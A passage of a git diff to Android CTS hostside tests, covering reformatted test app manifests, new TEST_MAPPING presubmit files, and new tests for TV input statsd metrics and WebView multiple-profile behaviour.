+                 android:resource="@xml/stub_tv_input_service"/>
         </service>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.tv.hostside" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="com.android.cts.tv.hostside"/>
 
 </manifest>
diff --git a/hostsidetests/tv/app2/AndroidManifest.xml b/hostsidetests/tv/app2/AndroidManifest.xml
index 5b0f7b6..66a6d1b 100644
--- a/hostsidetests/tv/app2/AndroidManifest.xml
+++ b/hostsidetests/tv/app2/AndroidManifest.xml
@@ -15,20 +15,20 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.tv.hostside.app2">
+     package="com.android.cts.tv.hostside.app2">
 
     <application>
-        <uses-library android:name="android.test.runner" />
-        <activity android:name="com.android.cts.tv.hostside.app2.TvViewMonitorActivity" >
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name="com.android.cts.tv.hostside.app2.TvViewMonitorActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.tv.hostside.app2" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="com.android.cts.tv.hostside.app2"/>
 
 </manifest>
diff --git a/hostsidetests/tv/src/com/android/cts/tv/TvInputManagerServiceHostTest.java b/hostsidetests/tv/src/com/android/cts/tv/TvInputManagerServiceHostTest.java
new file mode 100644
index 0000000..8f358d0
--- /dev/null
+++ b/hostsidetests/tv/src/com/android/cts/tv/TvInputManagerServiceHostTest.java
@@ -0,0 +1,267 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.tv;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+import android.stats.tv.TifTuneState;
+
+import com.android.os.AtomsProto;
+import com.android.os.StatsLog;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import com.google.common.base.Function;
+import com.google.common.base.Joiner;
+import com.google.common.collect.ImmutableList;
+import com.google.common.collect.Iterables;
+import com.google.common.collect.Lists;
+import com.google.common.truth.Correspondence;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runner.RunWith;
+import org.junit.runners.model.Statement;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Locale;
+
+/**
+ * Test {@link com.android.server.tv.TvInputManagerService} statsd metrics.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class TvInputManagerServiceHostTest extends BaseHostJUnit4Test {
+    public static final String TEST_APK = "CtsTvTestCasesHelperApp.apk";
+    public static final String TEST_PKG = "android.tv.cts";
+
+    /** Compares the fields state, hdmiPort and inputId */
+    private static final Correspondence<AtomsProto.TifTuneStateChanged,
+            AtomsProto.TifTuneStateChanged>
+            TIF_TUNE_STATE_CHANGED_CORRESPONDENCE = CorrespondenceFieldChainBuilder
+            .builder(AtomsProto.TifTuneStateChanged.class)
+            .addField(AtomsProto.TifTuneStateChanged::getState, "state")
+            .addField(AtomsProto.TifTuneStateChanged::getHdmiPort, "hdmi_port")
+            .addField(AtomsProto.TifTuneStateChanged::getInputId, "input_id")
+            .build();
+
+    @Rule
+    public RequiredFeatureRule requiredFeatureRule = new RequiredFeatureRule(this,
+            "android.software.live_tv");
+
+    @Before
+    public void setup() throws Exception {
+        installPackage(TEST_APK);
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        uninstallPackage(TEST_APK);
+    }
+
+    @Test
+    public void verifyCallbackVideoAvailable() throws Exception {
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), TEST_PKG,
+                AtomsProto.Atom.TIF_TUNE_CHANGED_FIELD_NUMBER,  /*uidInAttributionChain=*/true);
+
+        runTvInputServiceTest("verifyCallbackVideoAvailable");
+
+        // Sorted list of events in order in which they occurred.
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        List<AtomsProto.TifTuneStateChanged> tifTuneStateChanges = Lists.transform(data,
+                input -> input.getAtom().getTifTuneChanged());
+        AtomsProto.TifTuneStateChanged.Builder protoBuilder =
+                AtomsProto.TifTuneStateChanged.newBuilder().
+                        setInputId(1).
+                        setHdmiPort(0);
+        assertThat(tifTuneStateChanges).
+                comparingElementsUsing(TIF_TUNE_STATE_CHANGED_CORRESPONDENCE).
+                containsExactlyElementsIn(
+                        createAtomsFromStateList(protoBuilder,
+                                TifTuneState.CREATED,
+                                TifTuneState.SURFACE_ATTACHED,
+                                TifTuneState.TUNE_STARTED,
+                                TifTuneState.VIDEO_AVAILABLE,
+                                TifTuneState.SURFACE_DETACHED,
+                                TifTuneState.RELEASED)).
+                inOrder();
+    }
+
+    @Test
+    public void verifyCallbackVideoUnavailable() throws Exception {
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), TEST_PKG,
+                AtomsProto.Atom.TIF_TUNE_CHANGED_FIELD_NUMBER,  /*uidInAttributionChain=*/true);
+
+        runTvInputServiceTest("verifyCallbackVideoUnavailable");
+
+        // Sorted list of events in order in which they occurred.
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        List<AtomsProto.TifTuneStateChanged> tifTuneStateChanges = Lists.transform(data,
+                input -> input.getAtom().getTifTuneChanged());
+        AtomsProto.TifTuneStateChanged.Builder protoBuilder =
+                AtomsProto.TifTuneStateChanged.newBuilder().
+                        setInputId(1).
+                        setHdmiPort(0);
+        assertThat(tifTuneStateChanges).
+                comparingElementsUsing(TIF_TUNE_STATE_CHANGED_CORRESPONDENCE).
+                containsExactlyElementsIn(
+                        createAtomsFromStateList(protoBuilder,
+                                TifTuneState.CREATED,
+                                TifTuneState.SURFACE_ATTACHED,
+                                TifTuneState.TUNE_STARTED,
+                                TifTuneState.VIDEO_UNAVAILABLE_REASON_TUNING,
+                                TifTuneState.SURFACE_DETACHED,
+                                TifTuneState.RELEASED)).
+                inOrder();
+    }
+
+    @Test
+    public void verifyCommandTune() throws Exception {
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), TEST_PKG,
+                AtomsProto.Atom.TIF_TUNE_CHANGED_FIELD_NUMBER,  /*uidInAttributionChain=*/true);
+
+        runTvInputServiceTest("verifyCommandTune");
+
+        // Sorted list of events in order in which they occurred.
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        List<AtomsProto.TifTuneStateChanged> tifTuneStateChanges = Lists.transform(data,
+                input -> input.getAtom().getTifTuneChanged());
+        AtomsProto.TifTuneStateChanged.Builder protoBuilder =
+                AtomsProto.TifTuneStateChanged.newBuilder().
+                        setInputId(1).
+                        setHdmiPort(0);
+        assertThat(tifTuneStateChanges).
+                comparingElementsUsing(TIF_TUNE_STATE_CHANGED_CORRESPONDENCE).
+                containsExactlyElementsIn(
+                        createAtomsFromStateList(protoBuilder,
+                                TifTuneState.CREATED,
+                                TifTuneState.SURFACE_ATTACHED,
+                                TifTuneState.TUNE_STARTED,
+                                TifTuneState.SURFACE_DETACHED,
+                                TifTuneState.RELEASED)).
+                inOrder();
+
+    }
+
+    private void runTvInputServiceTest(String testMethodName)
+            throws DeviceNotAvailableException {
+        DeviceUtils.runDeviceTests(getDevice(), TEST_PKG,
+                "android.media.tv.cts.TvInputServiceTest", testMethodName);
+    }
+
+    private static Iterable<AtomsProto.TifTuneStateChanged> createAtomsFromStateList(
+            AtomsProto.TifTuneStateChanged.Builder protoBuilder, TifTuneState... tuneStates) {
+        ImmutableList.Builder<AtomsProto.TifTuneStateChanged> atoms = ImmutableList.builder();
+        for (int i = 0; i < tuneStates.length; i++) {
+            atoms.add(protoBuilder.setState(tuneStates[i]).build());
+        }
+        return atoms.build();
+    }
+
+    private static class CorrespondenceFieldChainBuilder<T> {
+        private static class GetterName<T> {
+            private final Function<T, Object> getter;
+            private final String name;
+
+            private GetterName(Function<T, Object> getter, String name) {
+                this.getter = getter;
+                this.name = name;
+            }
+
+            boolean isEqual(T actual, T expected) {
+                return getter.apply(actual).equals(getter.apply(expected));
+            }
+
+            String diff(T actual, T expected) {
+                return isEqual(actual, expected) ? ""
+                        : String.format(
+                                Locale.ENGLISH, "%s Expected: %s  Actual: %s",
+                                name, getter.apply(expected),
+                                getter.apply(actual));
+            }
+        }
+
+        private static <T> CorrespondenceFieldChainBuilder<T> builder(
+                Class<T> unused) {
+            return new CorrespondenceFieldChainBuilder<T>();
+        }
+
+        List<GetterName<T>> getterNames = new ArrayList<>();
+
+        CorrespondenceFieldChainBuilder<T> addField(Function<T, Object> getter, String name) {
+            getterNames.add(new GetterName(getter, name));
+            return this;
+        }
+
+        Correspondence<T, T> build() {
+            Correspondence.BinaryPredicate<T, T> predicate = (actual, expected) ->
+                    Iterables.all(getterNames, input -> input.isEqual(actual, expected));
+            Correspondence.DiffFormatter<T, T> formatter =
+                    (actual, expected) -> Joiner.on("\n").join(
+                            Iterables.transform(getterNames,
+                                    input -> input.diff(actual, expected)));
+            return Correspondence.from(predicate,
+                    "matches fields " + Lists.transform(getterNames,
+                            input -> input.name)).formattingDiffsUsing(
+                    formatter);
+        }
+    }
+
+    // TODO(b/180429722): Move to a common CTS location.
+    public static class RequiredFeatureRule implements TestRule {
+
+        private final BaseHostJUnit4Test mTest;
+        private final String mFeature;
+
+        public RequiredFeatureRule(BaseHostJUnit4Test test, String feature) {
+            mTest = test;
+            mFeature = feature;
+        }
+
+        @Override
+        public Statement apply(final Statement base, Description description) {
+            return new Statement() {
+                @Override
+                public void evaluate() throws Throwable {
+                    ITestDevice testDevice = mTest.getDevice();
+                    // Checks if the device is available.
+                    assumeTrue("Test device is not available", testDevice != null);
+                    // Checks if the requested feature is available on the device.
+                    assumeTrue(mFeature + " not present in DUT " + testDevice.getSerialNumber(),
+                            testDevice.hasFeature(mFeature));
+                    base.evaluate();
+                }
+            };
+        }
+    }
+}
diff --git a/hostsidetests/tzdata/TEST_MAPPING b/hostsidetests/tzdata/TEST_MAPPING
new file mode 100644
index 0000000..cb259b1
--- /dev/null
+++ b/hostsidetests/tzdata/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsHostTzDataTests"
+    }
+  ]
+}
diff --git a/hostsidetests/ui/appA/AndroidManifest.xml b/hostsidetests/ui/appA/AndroidManifest.xml
index 8d574d5..4d64df4 100644
--- a/hostsidetests/ui/appA/AndroidManifest.xml
+++ b/hostsidetests/ui/appA/AndroidManifest.xml
@@ -15,29 +15,29 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.taskswitching.appa"
-        android:targetSandboxVersion="2">
+     package="android.taskswitching.appa"
+     android:targetSandboxVersion="2">
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <activity
-            android:name=".AppAActivity"
-            android:screenOrientation="portrait" >
+        <activity android:name=".AppAActivity"
+             android:screenOrientation="portrait"
+             android:exported="true">
 
             <intent-filter>
-                <action android:name="android.intent.action.VIEW" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="https" />
-                <data android:host="foo.com" />
-                <data android:path="/appa" />
+                <action android:name="android.intent.action.VIEW"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="https"/>
+                <data android:host="foo.com"/>
+                <data android:path="/appa"/>
             </intent-filter>
 
         </activity>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.taskswitching.appa" />
+         android:targetPackage="android.taskswitching.appa"/>
 
 </manifest>
diff --git a/hostsidetests/ui/appB/AndroidManifest.xml b/hostsidetests/ui/appB/AndroidManifest.xml
index 9b370c1..ca53ae4 100644
--- a/hostsidetests/ui/appB/AndroidManifest.xml
+++ b/hostsidetests/ui/appB/AndroidManifest.xml
@@ -15,32 +15,32 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.taskswitching.appb"
-        android:targetSandboxVersion="2">
+     package="android.taskswitching.appb"
+     android:targetSandboxVersion="2">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <activity
-            android:name=".AppBActivity"
-            android:configChanges="keyboard|keyboardHidden|orientation|screenSize|uiMode"
-            android:screenOrientation="portrait" >
+        <activity android:name=".AppBActivity"
+             android:configChanges="keyboard|keyboardHidden|orientation|screenSize|uiMode"
+             android:screenOrientation="portrait"
+             android:exported="true">
 
             <intent-filter>
-                <action android:name="android.intent.action.VIEW" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="https" />
-                <data android:host="foo.com" />
-                <data android:path="/appb" />
+                <action android:name="android.intent.action.VIEW"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="https"/>
+                <data android:host="foo.com"/>
+                <data android:path="/appb"/>
             </intent-filter>
 
         </activity>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.taskswitching.appb" />
+         android:targetPackage="android.taskswitching.appb"/>
 
 </manifest>
diff --git a/hostsidetests/usage/Android.bp b/hostsidetests/usage/Android.bp
index bd5f0fd..2d5b014 100644
--- a/hostsidetests/usage/Android.bp
+++ b/hostsidetests/usage/Android.bp
@@ -29,5 +29,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/usage/AndroidTest.xml b/hostsidetests/usage/AndroidTest.xml
index 5c9b845..a29a7b2 100644
--- a/hostsidetests/usage/AndroidTest.xml
+++ b/hostsidetests/usage/AndroidTest.xml
@@ -28,4 +28,9 @@
         <option name="jar" value="CtsAppUsageHostTestCases.jar" />
         <option name="runtime-hint" value="2m" />
     </test>
+
+    <object type="module_controller"
+            class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
+        <option name="mainline-module-package-name" value="android.scheduling"/>
+    </object>
 </configuration>
diff --git a/hostsidetests/usage/TEST_MAPPING b/hostsidetests/usage/TEST_MAPPING
new file mode 100644
index 0000000..6d04088
--- /dev/null
+++ b/hostsidetests/usage/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsAppUsageHostTestCases"
+    }
+  ]
+}
diff --git a/hostsidetests/usage/app/Android.bp b/hostsidetests/usage/app/Android.bp
index ee3eab7..2093cdf 100644
--- a/hostsidetests/usage/app/Android.bp
+++ b/hostsidetests/usage/app/Android.bp
@@ -25,6 +25,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
 
@@ -39,6 +40,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     aaptflags: [
         "--rename-manifest-package",
diff --git a/hostsidetests/usage/app/AndroidManifest.xml b/hostsidetests/usage/app/AndroidManifest.xml
index 303c26f..2541659 100755
--- a/hostsidetests/usage/app/AndroidManifest.xml
+++ b/hostsidetests/usage/app/AndroidManifest.xml
@@ -16,15 +16,15 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.app.usage.app">
+     package="android.app.usage.app">
 
     <application>
-        <activity android:name="android.app.usage.app.TestActivity">
+        <activity android:name="android.app.usage.app.TestActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
     </application>
 </manifest>
-
diff --git a/hostsidetests/usage/src/android/app/usage/cts/AppIdleHostTest.java b/hostsidetests/usage/src/android/app/usage/cts/AppIdleHostTest.java
index b3485d1..5978f34 100644
--- a/hostsidetests/usage/src/android/app/usage/cts/AppIdleHostTest.java
+++ b/hostsidetests/usage/src/android/app/usage/cts/AppIdleHostTest.java
@@ -32,8 +32,6 @@
 
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class AppIdleHostTest extends BaseHostJUnit4Test {
-    private static final String SETTINGS_APP_IDLE_CONSTANTS = "app_idle_constants";
-
     private static final String TEST_APP_PACKAGE = "android.app.usage.app";
     private static final String TEST_APP_CLASS = "TestActivity";
     private static final String TEST_APP_PACKAGE2 = "android.app.usage.apptoo";
@@ -67,26 +65,6 @@
     }
 
     /**
-     * Set the app idle settings.
-     * @param settingsStr The settings string, a comma separated key=value list.
-     * @throws DeviceNotAvailableException
-     */
-    private void setAppIdleSettings(String settingsStr) throws DeviceNotAvailableException {
-        mDevice.executeShellCommand(String.format("settings put global %s \"%s\"",
-                SETTINGS_APP_IDLE_CONSTANTS, settingsStr));
-    }
-
-    /**
-     * Get the current app idle settings.
-     * @throws DeviceNotAvailableException
-     */
-    private String getAppIdleSettings() throws DeviceNotAvailableException {
-        String result = mDevice.executeShellCommand(String.format("settings get global %s",
-                SETTINGS_APP_IDLE_CONSTANTS));
-        return result.trim();
-    }
-
-    /**
      * Launch the test app for a few hundred milliseconds then launch home.
      * @throws DeviceNotAvailableException
      */
@@ -109,15 +87,8 @@
      */
     @Test
     public void testAppIsNotIdleAfterBeingLaunched() throws Exception {
-        final String previousState = getAppIdleSettings();
-        try {
-            // Set the app idle time to something large.
-            setAppIdleSettings("idle_duration=10000,wallclock_threshold=10000");
-            startAndStopTestApp();
-            assertFalse(isAppIdle(TEST_APP_PACKAGE));
-        } finally {
-            setAppIdleSettings(previousState);
-        }
+        startAndStopTestApp();
+        assertFalse(isAppIdle(TEST_APP_PACKAGE));
     }
 
     private void setAppStandbyBucket(String packageName, int bucket) throws Exception {
diff --git a/hostsidetests/usb/TEST_MAPPING b/hostsidetests/usb/TEST_MAPPING
new file mode 100644
index 0000000..502f1e8
--- /dev/null
+++ b/hostsidetests/usb/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsUsbTests"
+    }
+  ]
+}
diff --git a/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java b/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java
index 01b5d88..3b81acb 100644
--- a/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java
+++ b/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java
@@ -145,8 +145,8 @@
                 trim();
         assertEquals("adb serial != ro.serialno" , adbSerial, roSerial);
 
-        CommandResult result = RunUtil.getDefault().runTimedCmd(5000, "lsusb", "-v");
-        assertTrue("lsusb -v failed", result.getStatus() == CommandStatus.SUCCESS);
+        CommandResult result = RunUtil.getDefault().runTimedCmd(15000, "lsusb", "-v");
+        assertEquals("lsusb -v failed", result.getStatus(), CommandStatus.SUCCESS);
         String lsusbOutput = result.getStdout();
         Pattern pattern = Pattern.compile("^\\s+iSerial\\s+\\d+\\s+([a-zA-Z0-9]{6,20})",
                 Pattern.MULTILINE);
diff --git a/hostsidetests/userspacereboot/testapps/BasicTestApp/AndroidManifest.xml b/hostsidetests/userspacereboot/testapps/BasicTestApp/AndroidManifest.xml
index 97ffde6..348a462 100644
--- a/hostsidetests/userspacereboot/testapps/BasicTestApp/AndroidManifest.xml
+++ b/hostsidetests/userspacereboot/testapps/BasicTestApp/AndroidManifest.xml
@@ -16,33 +16,34 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.cts.userspacereboot.basic" >
+     package="com.android.cts.userspacereboot.basic">
 
-    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
+    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
     <application>
-        <activity android:name=".LauncherActivity">
+        <activity android:name=".LauncherActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
         <receiver android:name=".BasicUserspaceRebootTest$BootReceiver"
-                  android:exported="true"
-                  android:directBootAware="true">
+             android:exported="true"
+             android:directBootAware="true">
             <intent-filter>
-                <action android:name="android.intent.action.BOOT_COMPLETED" />
-                <action android:name="android.intent.action.LOCKED_BOOT_COMPLETED" />
+                <action android:name="android.intent.action.BOOT_COMPLETED"/>
+                <action android:name="android.intent.action.LOCKED_BOOT_COMPLETED"/>
             </intent-filter>
         </receiver>
         <provider android:name=".BasicUserspaceRebootTest$Provider"
-                  android:authorities="com.android.cts.userspacereboot.basic"
-                  android:exported="true"
-                  android:directBootAware="true">
+             android:authorities="com.android.cts.userspacereboot.basic"
+             android:exported="true"
+             android:directBootAware="true">
         </provider>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="com.android.cts.userspacereboot.basic"
-                     android:label="Basic userspace reboot device side tests"/>
+         android:targetPackage="com.android.cts.userspacereboot.basic"
+         android:label="Basic userspace reboot device side tests"/>
 </manifest>
diff --git a/hostsidetests/userspacereboot/testapps/BootCompletedTestApp/Android.bp b/hostsidetests/userspacereboot/testapps/BootCompletedTestApp/Android.bp
index 24952d7..90ee4ff 100644
--- a/hostsidetests/userspacereboot/testapps/BootCompletedTestApp/Android.bp
+++ b/hostsidetests/userspacereboot/testapps/BootCompletedTestApp/Android.bp
@@ -28,6 +28,6 @@
         "truth-prebuilt",
     ],
     min_sdk_version: "29",
-    sdk_version: "29",
+    sdk_version: "30",
     target_sdk_version: "29",
 }
diff --git a/hostsidetests/webkit/TEST_MAPPING b/hostsidetests/webkit/TEST_MAPPING
new file mode 100644
index 0000000..fcd8ab5
--- /dev/null
+++ b/hostsidetests/webkit/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsHostsideWebViewTests"
+    }
+  ]
+}
diff --git a/hostsidetests/webkit/app/Android.bp b/hostsidetests/webkit/app/Android.bp
index a418339..7749f32 100644
--- a/hostsidetests/webkit/app/Android.bp
+++ b/hostsidetests/webkit/app/Android.bp
@@ -28,6 +28,7 @@
         "ctsdeviceutillegacy-axt",
         "ctstestserver",
         "ctstestrunner-axt",
+        "androidx.test.core",
     ],
     libs: [
         "android.test.runner",
diff --git a/hostsidetests/webkit/app/AndroidManifest.xml b/hostsidetests/webkit/app/AndroidManifest.xml
index b7b17db..2e3ead5 100644
--- a/hostsidetests/webkit/app/AndroidManifest.xml
+++ b/hostsidetests/webkit/app/AndroidManifest.xml
@@ -15,30 +15,30 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.webkit" android:targetSandboxVersion="2">
+     package="com.android.cts.webkit"
+     android:targetSandboxVersion="2">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.INTERNET" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.INTERNET"/>
 
-    <application
-      android:maxRecents="1"
-      android:usesCleartextTraffic="true" >
-        <uses-library android:name="org.apache.http.legacy" />
-        <uses-library android:name="android.test.runner" />
+    <application android:maxRecents="1"
+         android:usesCleartextTraffic="true">
+        <uses-library android:name="org.apache.http.legacy"/>
+        <uses-library android:name="android.test.runner"/>
         <activity android:name=".WebViewStartupCtsActivity"
-            android:label="WebViewStartupCtsActivity"
-            android:screenOrientation="nosensor">
+             android:label="WebViewStartupCtsActivity"
+             android:screenOrientation="nosensor"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
     </application>
 
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.webkit"/>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="com.android.cts.webkit"/>
 
 </manifest>
diff --git a/hostsidetests/webkit/app/src/com/android/cts/webkit/WebViewDeviceSideMultipleProfileTest.java b/hostsidetests/webkit/app/src/com/android/cts/webkit/WebViewDeviceSideMultipleProfileTest.java
new file mode 100644
index 0000000..f5e1775
--- /dev/null
+++ b/hostsidetests/webkit/app/src/com/android/cts/webkit/WebViewDeviceSideMultipleProfileTest.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.webkit;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.util.Log;
+import android.webkit.WebView;
+import android.webkit.cts.WebViewSyncLoader;
+
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.ext.junit.rules.ActivityScenarioRule;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+import java.io.IOException;
+
+public class WebViewDeviceSideMultipleProfileTest {
+    // Profile owner component.
+    public static class BasicAdminReceiver extends DeviceAdminReceiver {}
+
+    @Rule
+    public ActivityScenarioRule<WebViewStartupCtsActivity> mActivityRule =
+            new ActivityScenarioRule<>(WebViewStartupCtsActivity.class);
+
+    private WebViewStartupCtsActivity mActivity;
+
+    @Before
+    public void setUp() {
+        mActivityRule.getScenario().onActivity(activity -> {
+            mActivity = activity;
+        });
+    }
+
+    @Test
+    @UiThreadTest
+    public void testCreateWebViewAndNavigate() {
+        mActivity.createAndAttachWebView();
+        WebView webView = mActivity.getWebView();
+        Assert.assertNotNull(webView);
+
+        WebViewSyncLoader syncLoader = new WebViewSyncLoader(webView);
+        syncLoader.loadUrlAndWaitForCompletion("about:blank");
+        syncLoader.detach();
+    }
+
+
+}
diff --git a/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideMultipleProfileTest.java b/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideMultipleProfileTest.java
new file mode 100644
index 0000000..3db5d5b
--- /dev/null
+++ b/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideMultipleProfileTest.java
@@ -0,0 +1,186 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.webkit;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.invoker.TestInformation;
+import com.android.tradefed.log.LogUtil;
+import com.android.tradefed.targetprep.TargetSetupError;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.testtype.junit4.DeviceTestRunOptions;
+import com.android.tradefed.util.CommandResult;
+import com.android.tradefed.util.CommandStatus;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class WebViewHostSideMultipleProfileTest extends BaseHostJUnit4Test {
